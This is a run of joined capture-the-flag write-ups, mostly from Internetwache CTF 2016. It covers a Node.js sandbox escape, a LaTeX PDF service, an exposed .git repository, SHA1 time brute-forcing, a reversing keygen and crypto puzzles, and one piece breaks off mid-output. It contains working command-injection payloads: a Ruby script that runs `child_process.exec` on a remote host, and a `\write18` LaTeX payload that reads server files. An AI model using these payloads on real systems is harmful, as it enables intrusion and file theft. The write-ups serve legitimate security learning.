Okay, so now that we have figured out the filter, let's throw some JavaScript related queries at it (Some code pastes will be shortened for the sake of this writeup's length)
Let's run the command `this` and see how it responds. We can accomplish this by padding our extra 5 bytes with a JavaScript comment, reverse it and repeat each character 6 times. This will make our input 54 bytes long, allowing it to bypass the filter properly.
`//////////////////////////////ssssssiiiiiihhhhhhtttttt`
```$//////////////////////////////ssssssiiiiiihhhhhhttttttInterface { _sawReturn: false, domain: null, _events: { close: { [Function: g] listener: [Function] }, line: [Function] }, _eventsCount: 2, _maxListeners: undefined, output: Socket { _connecting: false, _hadError: false, _handle: TCP { _externalStream: {},```
Okay, this is interesting. It appears to have dropped us an object list of it's properties!
Let's try and execute `process` now
```$////////////sssssssssssseeeeeeccccccoooooorrrrrrppppppprocess { title: '/opt/nodejs/bin/node', version: 'v4.3.0', moduleLoadList: [ 'Binding contextify', 'Binding natives', 'NativeModule events', 'NativeModule buffer', 'Binding buffer', 'NativeModule internal/util', 'Binding util', 'NativeModule timers', 'Binding timer_wrap', 'NativeModule _linklist', 'NativeModule assert', 'NativeModule util', 'Binding uv', 'NativeModule path', 'NativeModule module', 'NativeModule internal/module', 'NativeModule vm', 'NativeModule fs', 'Binding fs', 'NativeModule constants', 'Binding constants', 'NativeModule stream', 'NativeModule _stream_readable', 'NativeModule _stream_writable', 'NativeModule _stream_duplex', 'NativeModule _stream_transform', 'NativeModule _stream_passthrough', 'Binding fs_event_wrap', 'NativeModule readline', 'Binding tty_wrap', 'NativeModule net', 'Binding cares_wrap', 'Binding tcp_wrap', 'Binding pipe_wrap', 'Binding stream_wrap', 'NativeModule string_decoder', 'NativeModule console' ], versions: { http_parser: '2.5.1', node: '4.3.0', v8: '4.5.103.35', uv: '1.8.0', zlib: '1.2.8', ares: '1.10.1-DEV', icu: '56.1', modules: '46', openssl: '1.0.2f' }, arch: 'x64', platform: 'linux', release: { name: 'node', lts: 'Argon', sourceUrl: 'https://nodejs.org/download/release/v4.3.0/node-v4.3.0.tar.gz', headersUrl: 'https://nodejs.org/download/release/v4.3.0/node-v4.3.0-headers.tar.gz' }, argv: [ '/opt/node-v4.3.0-linux-x64/bin/node', '/home/exp90/task.js' ], execArgv: [], env: { OLDPWD: '/etc/service/exp90', PATH: '/command:/usr/local/bin:/usr/local/sbin:/bin:/sbin:/usr/bin:/usr/sbin:/usr/X11R6/bin',```
Awesome!
At this point, I'm tired of reversing my input and manually repeating characters, so I made a script in Ruby. It will connect and execute some initial commands, and then give me a prompt to input whatever else I would like to run in the same session.
(This code can be found in exp90.rb)```#!/usr/bin/rubyrequire 'socket'HOST = '188.166.133.53'PORT = 12589
@sock = TCPSocket.new(HOST, PORT)@initial_payloads = ["this.sys=require('sys')", "this.ex=require('child_process').exec", 'this.ex("ls -la", function(error, stdout, stderr) { console.log(stdout); })']
def send_data(stuff) puts "PLOAD: #{stuff}" @sock.write("#{stuff.to_s}\n")end
def generate_payload(input) pl = '' reverse = input.reverse reverse.split('').each do |c| pl += (c * 6) end send_data(pl) @initial_payloads.shiftend
def custom_input(input) pl = '' reverse = input.reverse reverse.split('').each do |c| pl += (c * 6) end send_data(pl)end
loop do @data = @sock.recv(1024) puts @data unless @data.empty? if @initial_payloads.size >= 1 generate_payload(@initial_payloads[0]) else print '> ' i = gets.chomp custom_input(i) endend```
As you can see the initial payloads will create a variable within the object called sys, which will require system and the next command following that will try and dump the contents of the directory!
Upon running, we get the directory dump!!!
```drwxr-x--- 2 exp90 exp90 4096 Feb 19 14:26 .drwxr-xr-x 14 root root 4096 Feb 11 12:19 ..-rw------- 1 exp90 exp90 6 Feb 19 14:26 .bash_history-rw-r--r-- 1 exp90 exp90 220 Nov 13 2014 .bash_logout-rw-r--r-- 1 exp90 exp90 3515 Nov 13 2014 .bashrc-rw-r--r-- 1 exp90 exp90 675 Nov 13 2014 .profile-rw-r--r-- 1 root exp90 24 Feb 11 18:23 flag.txt-rw-r--r-- 1 root exp90 1011 Feb 11 18:23 task.js```
The final thing to do is to read the contents of the `flag.txt` file.We need to require the `fs` module and store it in a variable associated with the object. We can then use this to read from files.
Running it in le script
```> this.f=require('fs')> this.f.readFileSync('flag.txt','utf8')```
Desired output? I think so!
```IW{Shocked-for-nothing!>``` |
# Internetwache 2016 : The Secret Store (web70)
**Category:** web |**Points:** 70 |**Name:** The Secret Store |**Solves:** 285 |**Description:**
> We all love secrets. Without them, our lives would be dull. A student wrote a secure secret store, however he was babbling about problems with the database. Maybe I shouldn't use the 'admin' account. Hint1: Account deletion is intentional. Hint2: I can't handle long usernames.>> Service: https://the-secret-store.ctf.internetwache.org/
___
## Write-up
### Part OneThere was a big hint given, when they said **I can't handle long usernames.**So we just overflowed the username with 1000+ A's, and it brought us to this screen with the flag ^.^
|
# Internetwache CTF 2016: Brute with Force (code 80)
>Description: People say, you’re good at brute forcing… Have fun! Hint: You don’t need to crack the 31. character (newline). Try to think of different (common) time representations. Service: 188.166.133.53:11117
Like with box of chocolates - you never know what to expect until you taste. So lets taste this adress with `nc 188.166.133.53 11117`
We are getting smth like that:```People say, you're good at brute forcing... Hint: Format is TIME:CHAR"'Char 0: Time is 22:43:41, 051th day of 2016 +- 30 seconds and the hash is: 0834c5dd70c8741520918d6093310ad5c1a20f1d'```
At first glance this hash can be MD5 or SHA, lets check length:`expr length "0834c5dd70c8741520918d6093310ad5c1a20f1d"` `result: 40`
So big chance its *SHA1*. Now looking at hint: `Hint: Format is TIME:CHAR"` seems that we need to enter something like `<time in specific format>:<current char from flag>`.
This information about time: `051th day of 2016 +- 30 seconds` suggested its about *epoch time* . I also know that flag starts from `IW{`.Ok, I always wanted to learn coding in Python, so seems like good ocasion for it. I generated some hashes in time around server time:
```epoch = int(time.time())
for i in range(-3000, 3000): print "Current %d" % (i) hash_object = hashlib.sha1(str(epoch+i)+":I") hex_dig = hash_object.hexdigest() print(hex_dig)```
I've checked them with `grep` - and got it. Hash from server response was there. I adjusted time in script, an automated it for next two letters of flag `W{`.
Next letter is unknown, and it where bruteforcing gets usefull. For each next response from server I was generatting hashes like `sha1(<epoch_time>:<next_letter_from_dictionary>)` in timespan `-300,+300` and comparing them. If hash was found - I had new letter and could send response to server. After script execution I have flag.
```import calendarimport timeimport hashlibimport datetimeimport socket
print "start"
dictionary="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM0123456789_{}-+-*!@#$%^&"
def netcat(hostname, port, content): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((hostname, port)) #s.shutdown(socket.SHUT_WR) i=0 while 1: data = s.recv(1024) epoch = epoch_time = int(time.time())+4*60+20 #I have different time locally than server, so needed to adjust that #print "epoch_new " + str(epoch) if data == "": break #print str(i)+"Received:", repr(data) if "hash" in data: print "matched "+data.split(" ")[-1].strip()+"#" if (i>=1): answer=check(data,i,epoch) print "sending "+answer s.sendall(answer) time.sleep(2) #I wanted to make sure that I'll be generating new hash for different timestamp i=i+1 print "Connection closed." s.close()
def check(xx,idx,epoch): print "Function check" index = xx.split(' ') hash = index[-1] hash=hash.strip() asci="" if idx==1: asci=":I" if idx==2: asci=":W" if idx==3: asci=":{" #We know first three letters of flag, as format is IW{ if (idx <= 3): for i in range(-300, 300): hash_object = hashlib.sha1(str(epoch+i)+asci) hex_dig = hash_object.hexdigest() if hex_dig == hash: print "gotcha: "+hash+" "+str(epoch+i)+asci return str(epoch+i)+asci #We have to bruteforce each sign, from forth letter, until script fails if (idx >=4): for c in dictionary: asci=":"+str(c) for i in range(-300, 300): hash_object = hashlib.sha1(str(epoch+i)+asci) hex_dig = hash_object.hexdigest() if hex_dig == hash: print "gotcha: "+hash+" "+str(epoch+i)+asci return str(epoch+i)+asci
netcat("188.166.133.53",11117,"")print "end"```**Flag: IW{M4N_Y0U_C4N_B3_BF_M4T3RiAL!}**
|
# Internetwache CTF 2016 : File Checker
**Category:** Reversing**Points:** 60**Solves:** 190**Description:**
> Description: My friend sent me this file. He told that if I manage to reverse it, I'll have access to all his devices. My misfortune that I don't know anything about reversing :/> > > Attachment: [rev60.zip](./rev60.zip)
## Write-upFor first, we checked what file is it
> filechecker: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=564c7e61a18251b57f8c2c3dc205ed3a5b35cca6, stripped
So we have 64-bit linux binary, that after launch prints```./filechecker Fatal error: File does not exist````So app want file, we checked filename
``` 400666: 55 push rbp 400667: 48 89 e5 mov rbp,rsp 40066a: 48 83 ec 30 sub rsp,0x30 40066e: 89 7d dc mov DWORD PTR [rbp-0x24],edi 400671: 48 89 75 d0 mov QWORD PTR [rbp-0x30],rsi 400675: b8 00 00 00 00 mov eax,0x0 40067a: e8 e1 00 00 00 call 400760 <fopen@plt+0x200> 40067f: 85 c0 test eax,eax 400681: 75 19 jne 40069c <fopen@plt+0x13c> 400683: bf d8 08 40 00 mov edi,0x4008d8 400688: b8 00 00 00 00 mov eax,0x0 40068d: e8 7e fe ff ff call 400510 <printf@plt> 400692: b8 01 00 00 00 mov eax,0x1 400697: e9 c2 00 00 00 jmp 40075e <fopen@plt+0x1fe> 40069c: be f9 08 40 00 mov esi,0x4008f9 4006a1: bf fb 08 40 00 mov edi,0x4008fb // password string addr 4006a6: e8 b5 fe ff ff call 400560 <fopen@plt> ``` At `0x4008fb` was placed `.password` string, so we have filename. Without analyzing whole file, we have seen that if variable from `[rbp-0x4]` will be equal or lower than 0, `Congrats` will be printed to stdout.
``` 40072c: 83 7d fc 00 cmp DWORD PTR [rbp-0x4],0x0 400730: 7e 11 jle 400743 <fopen@plt+0x1e3> 400732: bf 20 09 40 00 mov edi,0x400920 // Error Wrong Characters string 400737: e8 b4 fd ff ff call 4004f0 <puts@plt>`````` 400743: 48 8b 45 f0 mov rax,QWORD PTR [rbp-0x10] 400747: 48 89 c7 mov rdi,rax 40074a: e8 b1 fd ff ff call 400500 <fclose@plt> 40074f: bf 38 09 40 00 mov edi,0x400938 // Congrats string 400754: e8 97 fd ff ff call 4004f0 <puts@plt> ``` Value at `[rbp-x04]` depends on function at `0x40079c` so we reversed this function... ``` 40079c: 55 push rbp 40079d: 48 89 e5 mov rbp,rsp 4007a0: 89 7d bc mov DWORD PTR [rbp-0x44],edi 4007a3: 48 89 75 b0 mov QWORD PTR [rbp-0x50],rsi 4007a7: c7 45 c0 ee 12 00 00 mov DWORD PTR [rbp-0x40],0x12ee 4007ae: c7 45 c4 e0 12 00 00 mov DWORD PTR [rbp-0x3c],0x12e0 4007b5: c7 45 c8 bc 12 00 00 mov DWORD PTR [rbp-0x38],0x12bc 4007bc: c7 45 cc f1 12 00 00 mov DWORD PTR [rbp-0x34],0x12f1 4007c3: c7 45 d0 ee 12 00 00 mov DWORD PTR [rbp-0x30],0x12ee 4007ca: c7 45 d4 eb 12 00 00 mov DWORD PTR [rbp-0x2c],0x12eb 4007d1: c7 45 d8 f2 12 00 00 mov DWORD PTR [rbp-0x28],0x12f2 4007d8: c7 45 dc d8 12 00 00 mov DWORD PTR [rbp-0x24],0x12d8 4007df: c7 45 e0 f4 12 00 00 mov DWORD PTR [rbp-0x20],0x12f4 4007e6: c7 45 e4 ef 12 00 00 mov DWORD PTR [rbp-0x1c],0x12ef 4007ed: c7 45 e8 d2 12 00 00 mov DWORD PTR [rbp-0x18],0x12d2 4007f4: c7 45 ec f4 12 00 00 mov DWORD PTR [rbp-0x14],0x12f4 4007fb: c7 45 f0 ec 12 00 00 mov DWORD PTR [rbp-0x10],0x12ec 400802: c7 45 f4 d6 12 00 00 mov DWORD PTR [rbp-0xc],0x12d6 400809: c7 45 f8 ba 12 00 00 mov DWORD PTR [rbp-0x8],0x12ba 400810: 8b 45 bc mov eax,DWORD PTR [rbp-0x44] 400813: 48 98 cdqe 400815: 8b 54 85 c0 mov edx,DWORD PTR [rbp+rax*4-0x40] 400819: 48 8b 45 b0 mov rax,QWORD PTR [rbp-0x50] 40081d: 8b 00 mov eax,DWORD PTR [rax] 40081f: 8d 0c 02 lea ecx,[rdx+rax*1] 400822: ba 33 c9 4a 35 mov edx,0x354ac933 400827: 89 c8 mov eax,ecx 400829: f7 ea imul edx 40082b: c1 fa 0a sar edx,0xa 40082e: 89 c8 mov eax,ecx 400830: c1 f8 1f sar eax,0x1f 400833: 29 c2 sub edx,eax 400835: 89 d0 mov eax,edx 400837: 69 c0 37 13 00 00 imul eax,eax,0x1337 40083d: 29 c1 sub ecx,eax 40083f: 89 c8 mov eax,ecx 400841: 48 8b 55 b0 mov rdx,QWORD PTR [rbp-0x50] 400845: 89 02 mov DWORD PTR [rdx],eax 400847: 90 nop 400848: 5d pop rbp 400849: c3 ret ``` ...and write a keygen ```#include <stdio.h>#include <stdint.h>
int16_t tab[] = { 0x12ee, 0x12e0, 0x12bc, 0x12f1, 0x12ee, 0x12eb, 0x12f2, 0x12d8, 0x12f4, 0x12ef, 0x12d2, 0x12f4, 0x12ec, 0x12d6, 0x12ba, };
int get_dig_for_char(int i, char cc) { int64_t sum = cc + tab[i]; return sum-(sum*0x354ac933>>32>>0xa-(sum>>0x1f))*0x1337;}
int main() { char flag[30] = {0}; int f=0; for(int i=0;i<30;++i) for(int a = ' '; a<'~';++a) if(get_dig_for_char(i, a) == 0) flag[f++] = a; printf("Flag:%s\n", flag);}./* ./keygen $ Flag:IW{FILE_CHeCKa} */```Thats all, folks.
|
## TexMaker (Web, 90p)
Description: Creating and using coperate templates is sometimes really hard. Luckily, we have a webinterace for creating PDF files. Some people doubt it's secure, but I reviewed the whole code and did not find any flaws.
###ENG[PL](#pl-version)
In this task we could upload latex file, which server would convert to PDF, and allow us to see it. As it turns out, there is a latex command, which allows us to use any system command.Hence, we could simply print out flag (base64-encoded, since latex doesn't like specialcharacters):```\immediate\write18{cat ../flag.php | base64 > script.tex 2>&1}\openin5=script.tex\def\readfile{%\read5 to\curline\ifeof5 \let\next=\relax\else \curline˜\\\let\next=\readfile\fi\next}%\ifeof5 Couldn't read the file!%\else \readfile \closein5\fi```
###PL version
W tym zadaniu mogliśmy wysłać plik w latexu, który strona konwertowała do pdf-a, a następnie dawała do niego linka. Jak się okazuje, istnieje komenda latexa do wykonania dowolnego poleceniasystemowego. Korzystając z tego, wypisujemy flagę (zakodowaną base64, żeby nie zepsuć parsera):```\immediate\write18{cat ../flag.php | base64 > script.tex 2>&1}\openin5=script.tex\def\readfile{%\read5 to\curline\ifeof5 \let\next=\relax\else \curline˜\\\let\next=\readfile\fi\next}%\ifeof5 Couldn't read the file!%\else \readfile \closein5\fi``` |
# Internetwache CTF 2016: 404 Flag not found (misc 80)
> I tried to download the flag, but somehow received only 404 errors :(
We also get network capture, with some DNS traffic and few `GET` requests. During solving this task, I was sure its something about networking and DNS querring. Man, how much I have tried DNS tricks, querring in hope to get some adress after redirect or another puzzle.
We started to look at hostnames, those were formatted like: `67732e0a5768657468657220796f752077696e206f72206c6f736520646f.2015.ctf.internetwache.org` and in desperation nex try was to decode this hex string. It resulted with: `gs. Whether you win or lose do.` Bingo. Some filtering later we had little shattered text:
```In the end, it's all about flags.Whether you win or lose doesn't matter.{Ofc, winning is coolerDid you find other flags?Noboby finds other flags!
Superman is my hero._HERO!!!_
Help me my friend, I'm lost in my own mind.Always, always, for ever alone.Crying until I'm dying.Kings never die.So do I.}!```
There was idea, lets try only big letters. And flag is ours:) **IW{ODNS_HERO!!!_HIACIKSI}**
Nope. [ZONK!](https://en.wikipedia.org/wiki/Let%27s_Make_a_Deal)
But after some guessing we hav found correct flag:**IW{DNS_HACKS}**
_Note: Looking at other writeups it could be filtered in little different way, and then you were chosing first letters from lines._
|
#0ldsk00lBlog###(web80, solved by 264)
>Description: I stumbled across this kinda oldskool blog. I bet it is unhackable, I mean, there's only static HTML.
>Service: https://0ldsk00lblog.ctf.internetwache.org/
First things first, go to the service and then browse the page and source code:
<html><head> <title>0ldsk00l</title></head><body>
<h1>Welcome to my 0ldsk00l blog.</h1> Now this is some oldskool classic shit. Writing your blog manually without all this crappy bling-bling CSS / JS stuff.
Now this is some oldskool classic shit. Writing your blog manually without all this crappy bling-bling CSS / JS stuff.
<h2>2016</h2> It's 2016 now and I need to somehow keep track of my changes to this document as it grows and grows. All people are talking about a tool called 'Git'. I think I might give this a try.
It's 2016 now and I need to somehow keep track of my changes to this document as it grows and grows. All people are talking about a tool called 'Git'. I think I might give this a try.
<h2>1990-2015</h2> Hmm, looks like totally forgot about this page. I should start blogging more often.
Hmm, looks like totally forgot about this page. I should start blogging more often.
<h2>1990</h2> I proudly present to you the very first browser for the World Wide Web. Feel free to use it to view my awesome blog.
I proudly present to you the very first browser for the World Wide Web. Feel free to use it to view my awesome blog.
<h2>1989</h2> So, yeah, I decided to invent the World Wide Web and now I'm sitting here and writing this. </body></html>
So, yeah, I decided to invent the World Wide Web and now I'm sitting here and writing this.
Looking at the second paragraph:`All people are talking about a tool called 'Git'. I think I might give this a try.`
the first thing I wanted to do was check if the website contained a git repo.`https://0ldsk00lblog.ctf.internetwache.org/.git`
## Forbidden### You don't have permission to access /.git/ on this server.
This is promising as it verifies that Git is there. The next obvious thing to do is to check and see if we can directly access some git files. The files I tried first are the log files:
`https://0ldsk00lblog.ctf.internetwache.org/.git/logs/HEAD`
Log Results:
```0000000000000000000000000000000000000000 14d58c53d0e70c92a3a0a5d22c6a1c06c4a2d296 Sebastian Gehaxelt <[email protected]> 1453427711 +0100 commit (initial): Initial commit14d58c53d0e70c92a3a0a5d22c6a1c06c4a2d296 dba52097aba3af2b30ccbc589912ae67dcf5d77b Sebastian Gehaxelt <[email protected]> 1453427733 +0100 commit: Added next postdba52097aba3af2b30ccbc589912ae67dcf5d77b 26858023dc18a164af9b9f847cbfb23919489ab2 Sebastian Gehaxelt <[email protected]> 1453427864 +0100 commit: Added another post26858023dc18a164af9b9f847cbfb23919489ab2 8c46583a968da7955c13559693b3b8c5e5d5f510 Sebastian Gehaxelt <[email protected]> 1453427881 +0100 commit: My recent blogpost```
Next, I used a tool called `gitdumper` from `GitTools`
`https://github.com/internetwache/GitTools`
Description: `A repository with 3 tools for pwn'ing websites with .git repositories available`
`./gitdumper.sh https://0ldsk00lblog.ctf.internetwache.org/.git /tmp/git-dump`
Running `git-status` inside the cloned git project shows the output of a single file: `index.html`
Next up, I ran `git checkout .` providing me with the `index.html` file.
Finally, I ran `git show` and was able to see the diff and pick up the flag: `IW{G1T_1S_4W3SOME}`
![Flag](https://raw.githubusercontent.com/Ninjex/Wargame-Writeups/master/CaptureTheFlag/2016/InternetWache-CTF/web80/web80.png "Flag") |
## Impossible Game (Misc, 300p)
Imposible Game http://ctf.sharif.edu:38455/chal/img/ImpossibleGame.html
Download server.py
###ENG[PL](#pl-version)
We were given source code of server and had to play a game with it to get the flag. Reading the source code immediatelyreminded me an old riddle, available [here](http://robertheaton.com/2014/01/13/mathematicians-hate-civil-liberties-100-prisoners-100-boxes/).Solution is also given on that webpage - I recommend everyone to read it, it's really surprising.
Source of our solution is in `doit.py`.
###PL version
Dostaliśmy kod źródłowy serwera i mieliśmy z nim wygrać w grę, by otrzymać flagę. Przeczytanie kodu natychmiast przypomniałomi starą zagadkę logiczną, dostępną [tutaj (po angielsku)](http://robertheaton.com/2014/01/13/mathematicians-hate-civil-liberties-100-prisoners-100-boxes/).Rozwiązanie również jest w tym linkiem. Polecam jego przeczytanie - rozwiazanie jest naprawdę zaskakujące i nieintuicyjne.
Źródło naszego rozwiązania jest w `doit.py`. |
# Break In 2016 - Eighth Circles of Hell
**Category:** Steganography**Points:** 200**Solves:** 17**Description:**
> It’s Star Wars time again, and you found a hidden message from R2D2, it > supposedly can be decrypted of the Dark Force, help the Resistance to decode > the message.> > ![Attached Image](eighthcircleofhell.png)
## Write-up
by [ParthKolekar](https://github.com/ParthKolekar)
The title has a hint towards the content of the strange image attached. Eight Circles of Hell is the name given to Malbolge after its crazy twistedsyntax, preventing all but the most dedicated to write code in it.
And indeed I would be suripised if I find any real program written in malbolgewhich does something non trivial.
The image is actually a code written in another esoteric language piet.
On passing the via a piet intepreter, we get the following output.
RCdgJHFwIkp9fXtGeXk2L2V0MmJOTkwnLGwqaignZ2dle0FjP2A8eykoeHdZb3Rzcmsxb1FQbGtkKilKSWVkY2JbIUJYV1ZbWlN3V1ZVN1NSS29JSGxGLkpDQkdAZERDQiQjPzhcNnw6MzJWNjU0MzIxKnAoTG0lSSMiJ34lJHtBYn59dnV0OnhxWXV0bTNUcGluZ2xrZCpoZ2BIXiRiRFpfXl1WelRTWFdWVU5yTFFKT05NTEVEaEJBZShEQ0JBOl44PTw7NDkyVjA1LjMyK08vKC0sKyojRyEmfSR7ekB+d197enM5WnZvdG0zcXBvbm1mTitpS2dmZV4kXFtaWV5XXFV5U1hRdVVUU0xLbzJOR0ZqLUlIR0BkPkM8YCM/OFw8NXszVzc2djQzLCtPL28nLCskI0cnJmZlI3p5eD5fe3R5cjhZdW40bGtwaWguT2tkY2IoYGVeY1xbIUJeV1ZVeVlYOlBPVE1xUTMySEdMS0RoSCpGRT5iJUE6Pzg3Wzs0M1c3dzUuUixyMC8uLSwlSWooJ35EfHt6eT9gX3t0eXJ3cDZuc3JxcGkvbWxlamloZ2ZfXl0jYWBCQV1cW1R4WFdWOE5TUktKbjFNTEtKQ2dBRkVEPWEkOj8+PTw1NFg4eDYvU3RzMTApTS0sbGsjRycmJXxkInk/YF91dHM5d3ZYdG1sazFvbm1sZU0qdQ==
Clearly this is a base64 encoded string, so we decode it to get this D'`$qp"J}}{Fyy6/et2bNNL',l*j('gge{Ac?`<{)(xwYotsrk1oQPlkd*)JIedcb[!BXWV[ZSwWVU7SRKoIHlF.JCBG@dDCB$#?8\6|:32V654321*p(Lm%I#"'~%${Ab~}vut:xqYutm3Tpinglkd*hg`H^$bDZ_^]VzTSXWVUNrLQJONMLEDhBAe(DCBA:^8=<;492V05.32+O/(-,+*#G!&}${z@~w_{zs9Zvotm3qponmfN+iKgfe^$\[ZY^W\UySXQuUTSLKo2NGFj-IHG@d>C<`#?8\<5{3W76v43,+O/o',+$#G'&fe#zyx>_{tyr8Yun4lkpih.Okdcb(`e^c\[!B^WVUyYX:POTMqQ32HGLKDhH*FE>b%A:?87[;43W7w5.R,r0/.-,%Ij('~D|{zy?`_{tyrwp6nsrqpi/mlejihgf_^]#a`BA]\[TxXWV8NSRKJn1MLKJCgAFED=a$:?>=<54X8x6/Sts10)M-,lk#G'&%|d"y?`_uts9wvXtmlk1onmleM*u
This is malbolge.
We now pass it via a Malbolge intepreter.
Good work finding this shit. Your flag is dafuck_how_did_you_find_this!
The flag is `dafuck_how_did_you_find_this!`
## Other write-ups and resources
* <https://takt0rs.wordpress.com/2016/01/25/break-in-2106-eighth-circle-of-hell/> |
# SSCTF 2016 : Chain Rule 200
**Category:** Crypto-Exploit**Points:** 200**Solves:** 47**Description:**
> 该题目已有 47 个队伍完成> > It has completed by 47 teams> > 解题说明> > Description> > > Try 'start'> > 战题链接 <http://static.lab.seclover.com/crypto/crypto2-b7486602.zip>
## Write-up
One of the files has password "start". Inside that file there is text document with another password (that password is unbrutable). Decrypting files one by one gives us 2 zip files: *flag.zip* and *pwd.zip* and message, telling us to look for flag and pwd.
*flag.zip* is password-protected too. *pwd.zip* is unprotected and contains 6140 text files, one is named *start.txt*, and other have numerical names. In every file except the last one there's a link to the next one or two files ("next is xxxxxx[ , or yyyyyy]"). Walking through this linked list (using breadth-first search and marking visited files) we visit every file and in the last one we get message, telling us to pay attention to comments and avoid blackhole.
Blackhole is an infinite loop, to which we get if we do not mark visited files. And what comments? There were no comments if the files, except the first and the last one. At the end I found out that most of txt files in *pwd.zip* had a comment inside zip-archive. These comments were " " or "\t". If we collect all the comments while walking though the graph, and assume that " " == 0 and "\t" == 1, we get a string of bytes in BigEndian:
>b"\x01^\xb8\x94k\xe6\nh\xf8e\xcbEIi\x98s\xc7\xad#\xc6*\xb7=\x83U\x95P\xeb\xcd[-\xf8\x86\xf4V\xc7\\#\x9f&9\xd0\xbe\rrE\xd57\xffG\xb6k\xb5[\xe9u.\x1b\xf2\xc2F\xd5\x10q\xf6yt\x02@\xd6\xe6\x0e\x91\xbb\x95\xb3u\x14\x14B\xbc\x1d\xab/\xb1\xbdb\xbe\xca\xe3\xf7\x19\xf7\xce>\x0c\xb4\xcdsK\xb9C\x020\xe1\x0c\x98\xfc\xcd\x8b\x8f\xf6\xdf\x94\x01`\xae\x92\xcc\xfe\x8d\xbd\xb1M\xdcP\xe5\xe1\x17\xb7 |
## Crypto 300 (crypto, 300p)
### PL
[ENG](#eng-version)
Zadanie polegało na odwróceniu działania podanego algorytmu, zaimplementowanego w javascripcie, dla podanego zaszyfrowanego tekstu. Kod szyfrujący i deszyfrujący umieszczony w zadaniu znajduje się [tutaj](./crypto300.js)
Zaszyfrowanego tekst: `51136f3b763d7d5e5910106d423f0908093931284bc6eda1a4ffa595c390b390ef89a4a08ffb9797a2b797f5af92b7a0aaac9cf2dbf9ccecd5c8b3cbb9fffefa4fcf0c26d761f9145793fb6a44ed048cb92a1c0f420e3af756d66f2d1ee94414ed335f180b34fca1fda4f9698a23287ca9e9acb2e8b7c0216c132c078c93a438217e0927ce1afbcf016fd7cc6b1f8b903ec3c0a19f723ae5c0fa46679ded50d17259f89688a5ff4340784a155d`
Analiza kodu pozwoliła nam stwierdzić, że każdy z bajtów w zakodowanym tekście jest wynikiem operacji XOR na 3 wartościach: bajcie danych wejściowych, bajcie ze specjalnie przygotowanej tablicy z elementami 0-128 oraz bajcie z klucza. Jeśli klucz szyfrowania był za krótki, dokonywane było jego przedłużenie poprzez dokonanie przesunięcia bitowego w lewo o 1 pozycję, a następnie wykonanie kilku dodatkowych operacji bitowych a na koniec tak przygotowany element dodawany był na koniec klucza.Przesuwanie bitów pewnego elementu klucza w celu uzyskania nowego elementu klucza oznaczało, że dla odpowiednio dlugiego tekstu pewne bajty będą xorowane z kluczem, kolejne bajty z poprzesuwanym kluczem itd.Z tych 3 elementów xorowanych aby uzyskać ciphertext jedynie klucz mógł zawierać zapalony najwyższy bit, ponieważ klucz w trakcie "wydłużania" przesuwał bity w lewo.Oznacza to, że mogliśmy sprawdzić czy wysoki bit ciphertextu jest zapalony lub nie i na tej podstawie stwierdzić czy najwyższy bit klucza był zapalony czy tez nie.
Warto zauważyć, że jeśli szyfrując zaczniemy korzystać z przedłużonej części klucza, to najwyższy bit pierwszego przedłużenia to jest 2 bit najbardziej znaczący z oryginalnego klucza, najwyższy bit drugiego przedłużenia to 3 najbardziej znaczący bit oryginalnego klucza etc.
W efekcie jeśli nasz klucz jest przynajmniej 8 razy krótszy niż plaintext możemy w ten sposób odzyskac wszystkie bity klucza.
Ostatnim krokiem było poznanie długości klucza. Wykorzystaliśmy do tego założenie, że klucz jako tekst ascii nie posiada zapalonych wysokich bitów, więc pierwsza pozycja w ciphertexcie, która ma zapalony najwyższy bit określa miejsce gdzie musiał zostać użyty klucz przedłużony. Taka pozycja określa maksymalną długość klucza oryginalnego. Następnie wykonaliśmy operacje ekstrakcji kluczy dla wszystkich wartości pomiędzy 2 a tym indeksem. Używając kodu:
```pythondef test(KEY_LEN): out = []
for i in range(len(inp)): new = 1 if (ord(inp[i]) & 0x80) != 0 else 0 out.append(new)
res = '' for i in range(KEY_LEN): bits = out[i::KEY_LEN] bitstr = ''.join(str(x) for x in bits) res += chr(int(bitstr[:8], 2)) return res```
Uzyskaliśmy dla długości klucza 21 wartość `weplayctfoutofpassion`. Tą wartość wykorzystaliśmy w oryginalnym skrypcie javascript do zdekodowania wejściowego ciągu:
```javascriptkey = "weplayctfoutofpassion";input = '51136f3b763d7d5e5910106d423f0908093931284bc6eda1a4ffa595c390b390ef89a4a08ffb9797a2b797f5af92b7a0aaac9cf2dbf9ccecd5c8b3cbb9fffefa4fcf0c26d761f9145793fb6a44ed048cb92a1c0f420e3af756d66f2d1ee94414ed335f180b34fca1fda4f9698a23287ca9e9acb2e8b7c0216c132c078c93a438217e0927ce1afbcf016fd7cc6b1f8b903ec3c0a19f723ae5c0fa46679ded50d17259f89688a5ff4340784a155d'console.log(proceed(input, key, 'decrypt'));```
Co dało nam:
`Awesome work, you should now have just one left to go unless you selected randomly. I m giving you the flag: 1112fc63b939ab8b22a2b6995ba0be95. Enjoy the rest of the journey!`
### ENG version
The task was to revert given algorithm, implemented in javascript, for given ciphertext. The cipher code was given and is available [here](./crypto300.js).
Ciphertext: `51136f3b763d7d5e5910106d423f0908093931284bc6eda1a4ffa595c390b390ef89a4a08ffb9797a2b797f5af92b7a0aaac9cf2dbf9ccecd5c8b3cbb9fffefa4fcf0c26d761f9145793fb6a44ed048cb92a1c0f420e3af756d66f2d1ee94414ed335f180b34fca1fda4f9698a23287ca9e9acb2e8b7c0216c132c078c93a438217e0927ce1afbcf016fd7cc6b1f8b903ec3c0a19f723ae5c0fa46679ded50d17259f89688a5ff4340784a155d`
The analysis of the code showed us that every byte in the encoded text is a result of XOR operations on 3 values: byte from input, byte from special table with values 0-128 and byte from key.If the the key was too short, it was extended by doing a left bitshift, the some more bit operations and in the end it was appended to the original key.Shifting bits of element of the key in order to get a new element of the key means that for sufficiently large text some bytes will be xored with original key, next bytes with shifted key etc.Out of those 3 elements xored to get the ciphertext/plaintext only the key could have a lighted higest bit, since when the key was "extended" it was shifting bits to the left. This means that we could check if the higest bit of ciphertext is lighted or not and based on that decide if the highest bit of the key was lighted or not.
It's worth noting that that when we encode the input and start using the extended key part, then highest bit of the first extension is actually the 2nd most significant bit of the original key, highest bit of the 2nd extension is the 3rd most significant bit of the original key etc.
As a result if our key is at least 8 times shorter than he plaintext we can extract all the bits of the key.
